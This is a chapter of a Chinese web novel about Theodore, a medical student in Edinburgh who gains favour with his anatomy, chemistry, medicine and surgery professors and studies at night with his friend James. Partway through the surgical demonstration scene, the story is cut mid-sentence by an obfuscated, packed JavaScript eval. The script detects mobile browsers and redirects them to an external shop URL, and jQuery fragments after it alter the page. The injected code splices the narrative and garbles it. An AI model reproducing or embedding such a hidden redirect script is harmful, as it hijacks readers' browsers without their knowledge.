第十三章被点名的人
周一上午，解剖课。
孟罗教授走进教室的时候，目光照例扫了一圈。以前这个目光是扫所有人的，平等的、冷漠的、不带任何偏好的。但从这周开始，西奥多感觉到了细微的变化——那道目光在他身上多停了大约半秒。
半秒而已。但足够了。
"今天讲上肢肌。"孟罗教授翻开讲义，"三角肌、冈上肌、冈下肌、小圆肌、肩胛下肌——这五块肌肉构成肩袖，是肩关节最重要的稳定结构。"
他在黑板上画了一个肩关节的示意图，线条很快，但结构清晰。
"菲利普斯。"
西奥多站起来。
"上来帮我固定标本。"
教室里轻微地动了一下。几十双眼睛同时看向西奥多。
在爱丁堡医学院，"固定标本"不是一个随便安排的活。解剖课上用的尸体标本通常由助教提前准备好，学生只负责观察和画图。但偶尔——非常偶尔——教授会让某个学生上台协助，帮忙翻转肢体、牵拉开某一层筋膜、或者按住某个部位方便教授下刀。
这种事不公开选拔，完全看教授心情。
西奥多走上讲台。讲台旁边的小桌上放着一截上肢标本，从肩部到指尖，已经做了初步剥离，皮肤和浅筋膜去掉了，露出了下面红白相间的肌肉组织。
"把肩关节外展，大概七十度。"孟罗教授说。
西奥多戴上手套——这副手套是他自己买的，羊皮的，花了两先令——一手托住上臂，一手握住前臂远端，轻轻把肩关节外展到指定角度。动作很稳，标本没有晃。
孟罗教授看了他一眼，没说什么，开始下刀。
他在三角肌的前缘切了一刀，然后用钳子把肌肉翻起来，露出深面的冈上肌腱。
"看这里——"孟罗教授用刀柄指着，"冈上肌腱从肩胛骨冈上窝出发，穿过肩峰下方，止于肱骨大结节。它是肩袖里最容易损伤的一条肌腱，因为它的位置最浅，被肩峰和喙肩韧带压着，肩关节外展的时候会跟它发生摩擦。"
他一边说一边操作，西奥多配合着他的节奏，在他需要暴露某个角度的时候微调标本的位置，在他需要更大操作空间的时候把周围的软组织轻轻拨开。
中间出了一个小插曲。孟罗教授在分离冈下肌和小圆肌之间的筋膜时，标本的肩关节因为重力作用往下坠了一点，暴露的角度偏了。
西奥多没有等孟罗教授开口，直接把前臂往上托了大约半英寸，同时用另一只手的拇指按住肩胛骨下角固定住。
动作很小，但很及时。
孟罗教授的手顿了一下，然后继续下刀，好像什么都没发生。但他之后的操作速度放慢了一点——不是因为他手慢了，是因为他在一边操作一边解释，解释的内容比平时多了很多。
"冈下肌的纤维从这里到这里——"他的刀柄沿着肌纤维的方向划过，"看到了吗？从内上斜向外下。注意和小圆肌的区别——"
他比平时多讲了两块肌肉的内容。
整个过程大概持续了二十五分钟。
孟罗教授最后收刀的时候说了一句话——
"手很稳。"
就三个字。声音不大，但教室里每个人都听到了。
西奥多把手套摘下来，退回座位。经过詹姆斯身边的时候，詹姆斯用胳膊肘轻轻碰了他一下，脸上的表情像是在说：你看到没有。
后排的里德也看了他一眼，没说话，低头在笔记本上写了什么。
---
周三下午，化学课结束后。
西奥多正在收拾笔记本，布莱克教授从讲台那边走过来。
"菲利普斯，留一下。"
周围几个学生看了他一眼，各自散了。詹姆斯在门口犹豫了一下，给西奥多递了一个"我在外面等你"的眼神，也走了。
教室里只剩下两个人。
布莱克教授从讲义下面抽出几张纸，放在西奥多面前。
"这几份药剂配方，帮我重新抄写一遍。字要清楚，格式按我标注的来。"
西奥多拿起来看了一眼——是三张配方单，每张上面写着三四种药物的名称、用量和配制方法，字迹很潦草，有些地方还涂改过。
"这是——"
"我平时用的配方。"布莱克教授说，"给学生配实验药剂的时候用的。但原来的手稿太乱了，我想重新整理一份清楚的存档。"
西奥多明白了。这不是什么重要的事情，就是抄写。但布莱克教授没有交给格里尔先生，也没有交给其他助教，而是交给了他。
"什么时候要？"
"不急，下周给我就行。"
"好的。"
布莱克教授点了点头，拿起自己的书走了。走到门口又停下来。
"抄写的时候注意一下——第三张配方里的''酒精''用量，我怀疑写错了，你自己判断一下。"
西奥多愣了一下。
"让我判断？"
布莱克教授没有回头。"你看了那么多书，总不至于连这个都判断不了。"
门关上了。
西奥多看着那三张配方单，沉默了几秒。
第三张配方上写的是一种外用酊剂的配制方法，其中酒精用量标的是"四盎司"。但根据配方中其他成分的比例和浓度推算，四盎司的酒精会让最终酊剂的浓度过高——外用的话会刺激皮肤。
应该是两盎司。
布莱克教授不是不知道正确用量。他是故意的——他在测试西奥多能不能发现这个错误，敢不敢改。
西奥多把配方单收好，放进书包里。
---
周五上午，卡伦教授的理论课。
这门课的正式名称叫"医学原理"，内容涵盖了疾病的分类、发热的机制、炎症的基本概念等等。卡伦教授讲课的风格和孟罗教授截然不同——孟罗教授是冷硬的、精准的、不说废话的；卡伦教授是娓娓道来的，喜欢举临床案例，偶尔还会讲一两个轶事。
"关于发热的分类，"卡伦教授说，"目前学界有几种不同的看法。有人按体温高低分，有人按发热的持续时间分，还有人按发热的热型分——间歇热、弛张热、稽留热。但我认为，这些分类方法都只抓住了表象，没有触及本质。"
他转过身，目光在教室里扫了一圈。
"菲利普斯，你觉得呢？"
西奥多站起来。
他已经习惯了——从这周开始，卡伦教授每堂课至少会点他一次名。不是那种"确认你有没有在听"的点名，而是真的在问他的看法。
"教授，我认为问题的关键不在于怎么分类，而在于发热本身是不是一种''疾病''。"
卡伦教授挑了一下眉。"继续。"
"如果我们把发热看作一种症状而不是一种疾病，那分类的意义就变了。"西奥多说，"就像咳嗽——咳嗽不是病，肺炎会咳嗽，感冒也会咳嗽，吸入粉尘也会咳嗽。我们不会按咳嗽的声音来分类疾病，我们按病因来分类。发热应该也一样。"
教室里安静了几秒。
坐在前排的一个高年级学生——西奥多后来知道他叫沃特森，三年级，是卡伦教授课上的常客——转过头来说：
"但咳嗽和发热不一样。咳嗽的病因很明确——异物、感染、刺激。发热的病因到现在都没搞清楚，你按什么分？"
沃特森的语气不算友善，带着一种高年级学生对低年级学生的优越感。
西奥多看了他一眼。
"病因不清楚，不代表不能按病因分类。"他说，"我们现在不知道发热的所有原因，但至少知道一部分——感染可以引起发热，组织损伤可以引起发热，中暑可以引起发热。那就可以先按已知的原因分，未知的原因留一个''待查''。总比按体温高低分有用——同一种病在不同人体温不一样，按体温分，同一种病会被分到不同的类别里去，这有什么意义？"
沃特森张了张嘴，没接上话。
卡伦教授看了西奥多一眼，又看了沃特森一眼。"我就知道你能答上来。"他说，语气平淡，但嘴角微微动了一下，"坐下吧。"
沃特森转回去的时候，耳根有点红。
---
同一天下午，外科示教。
外科示教和普通上课不一样，地点在医学院旁边的示教室里，一个长方形的小房间，中间是一张手术台，周围一圈阶梯式的座位。格雷戈里教授站在手术台旁边，正在演示如何处理一个前臂的切割伤。
学生们坐在座位上，最近的离手术台大概有六英尺，最远的有十几英尺。示教室的光线不好，只有屋顶上几扇小天窗透进来的自然光，加上几盏油灯。坐在后排的学生其实看不太清楚。
格雷戈里教授切开皮肤、分离皮下组织、暴露肌腱的时候，忽然抬起头，朝座位方向看了一眼。
"菲利普斯，过来，站近点看。"
西奥多走下座位，站到手术台旁边。离格雷戈里教授不到两英尺。
从这个距离看，一切都不一样了。肌腱的纹理、血管的走向、创面的出血点——清清楚楚。
格雷戈里教授没有解释为什么叫他过来，只是继续操作，偶尔说一句"看这里"、"注意这个角度"。
他在缝合的时候，忽然停下来，侧头看了西奥多一眼。
"看我的手——持针的角度，注意到了吗？"
"不是垂直进针。有一个倾斜。"
"多少度？"
西奥多目测了一下。"大概十五度。"
格雷戈里教授微微点头。"十五度到二十度之间。垂直进针缝合出来的线会翘，不平整。倾斜进针，线就服帖。这个不是教科书上写的，"他补了一句，"你自己看出来的就记住了，看不出来我讲也没用。"
他说完继续缝，速度很快，最后打了一个反方向的结。
"看到最后那个结了吗？"
"看到了。反方向的。"
"为什么？"
西奥多
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17453793|201128||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想了不到两秒。"防止滑脱。方结的最后一个结如果和前面同向，受力的时候可能松开。反方向就锁死了。"
格雷戈里教授把剪刀放下，看了他一眼。"你以前碰过针线吗？"
"没有。"
"那你的眼睛倒是好使。"格雷戈里教授没再说什么，开始包扎伤口。
---
那天晚上，詹姆斯来他住处复习。
这件事从上周开始变成了固定节目——每周两到三次，詹姆斯吃完晚饭就过来，两个人坐在烛光下看书、整理笔记、互相提问。麦凯夫人已经习惯了，每次来还会多备一杯茶。
詹姆斯的笔记还是那么乱，字写得像鸡爪刨的，但他的理解能力其实不差，只是表达跟不上脑子。西奥多有时候看他写了半天写不出来一句话，就替他梳理一遍逻辑，他用自己那种笨拙的方式重新说一遍，反而能把一些复杂的概念解释得很通俗。
"你有没有发现，"詹姆斯翻着笔记本说，"这个月他们四个都变了。"
"哪里变了？"
"以前他们看你的眼神是''这个学生不错''，现在是''这是我的学生''。"詹姆斯想了想措辞，"不一样。前者是夸你，后者是……护着你。"
西奥多看了他一眼。"你想太多了。"
"我才没有。"詹姆斯认真地说，"你今天被叫上去固定标本的时候，里德想凑过去看，格里尔先生直接拦了他。以前格里尔先生可不管这些。"
蜡烛烧了一半，茶凉了。詹姆斯从包里掏出一块面包，掰成两半，递了一半过来。
"我家寄来的。白面的。我妈听说爱丁堡的面包难吃，专门从格拉斯哥寄了一袋面粉过来。"
西奥多接过来。他没有告诉詹姆斯，自己早就不用系统商城以外的面粉了。但詹姆斯给的东西不一样——那不是一块面包，是一种心意。
他咬了一口。"挺好吃的。"
"那当然。"詹姆斯嚼着自己那半块，含糊不清地说，"我妈做的面粉，全格拉斯哥最好。"
"你家是开面粉店的？"
"才不是。"詹姆斯嗤了一声，"我爸是药剂师。但我妈那个人，什么都想亲力亲为，连面粉都要自己挑麦子，让磨坊单独磨。她说外面卖的面粉掺了淀粉，不纯。"
"那你爸的药剂铺子怎么样？"
詹姆斯的表情变了一下，像是不知道该怎么回答。
"不大。"他说，"在格拉斯哥的西区，就一间门面。我爸手艺不错，配药认真，但不会做生意。别人家的铺子靠卖专利药赚钱，他非要自己琢磨配方，琢磨出来了也不去注册，就说''能治病就行''。"
他顿了一下。"所以我家的铺子一直不大。养家够，但攒不下钱。我出来上学，是我妈把陪嫁的首饰当了凑的学费。"
房间里安静了几秒。
西奥多没有接话。他知道詹姆斯说这些不是在卖惨——他是真的把他当朋友了，才会说这些。
"你爸的药方，你学过吗？"西奥多问。
"学了一些。"詹姆斯的眼睛亮了一点，"不是正式学，就是小时候在铺子里帮忙，看着看着就会了。称量、研磨、煮膏、制丸——这些我都会。我爸说我手笨，但做药剂的手不笨。"
"那你以后打算回格拉斯哥接你爸的铺子？"
詹姆斯没有立刻回答。他低头看着手里的面包，手指无意识地撕着边缘的硬皮。
"我爸希望我回去。"他说，"但我想在爱丁堡多待几年。这里的教学比格拉斯哥好，教授也厉害。如果能拿到学位，回去之后就算不接铺子，也能去医院当药剂师，比在铺子里强。"
他抬起头。"你呢？你以后打算回英格兰？"
西奥多想了一下。"大概会回伦敦。"
"伦敦？"詹姆斯的表情有一丝意外，但更多的是某种说不清的遗憾，"伦敦好啊。大医院多，机会多。不过那边竞争也大——你成绩这么好，应该没问题。"
他停了一下，又补了一句："就是……到时候远了，联系不太方便。"
西奥多没有接这句话。
两个人在烛光下看了一会儿书。詹姆斯走的时候快十一点了，外面的风大得吓人，西奥多把自己的围巾借给他——他有一条多余的，系统商城买的，八块钱。
"明天还你。"詹姆斯裹着围巾，缩着脖子冲进了风里。
西奥多关上门，回到书桌前，打开那三张配方单。
第三张，酒精用量，四盎司。
他拿起笔，把"四"划掉，在旁边写了一个"二"。
然后在下面写了一行小字："原配方酒精用量似有误，外用酊剂浓度过高会刺激皮肤。疑为笔误，改为两盎司。"
想了想，又在最后加了一句："但我不确定教授是否有特殊考虑，若如此，请恕冒昧。"
这样既改了错，又留了台阶。
他抄了一个多小时，抄完之后检查了一遍，把两张原稿和三份抄写件分别叠好，放进书包里。